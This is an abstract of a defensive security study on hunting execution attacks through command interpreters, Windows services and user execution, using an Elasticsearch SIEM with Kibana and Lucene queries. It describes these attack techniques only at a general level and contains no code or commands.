Threat hunting the silent killers - behavior-based execution attacks

Attack methods that produce adversarial-controlled code and scripts executing on a local or remote server are referred to as execution. Malicious code-running techniques are combined with techniques from other approaches to accomplish more general objectives, such as data theft or network infrastructure reconnaissance. Adversaries execute a PowerShell script to conduct remote system discovery using remote access tools. In this research, the authors focus on three unique threat hunting methods of execution. The first hunt method is the use of a command scripting interpreter, where adversaries execute commands, scripts, or binaries using a variety of interfaces and languages. The second technique for hunting is focused on the execution of system services, where adversaries exploit the Windows Service Control Manager to run malicious payloads and commands. The last method of hunting for harmful files is called "user execution," in which attackers tempt a victim to open a malicious file to acquire execution. The authors implemented Elasticsearch Security Incident and Event Management (SIEM) systems to ingest logs gathered from various sources and perform Kibana, Lucene, and domain-specific language searches for the threat hunts.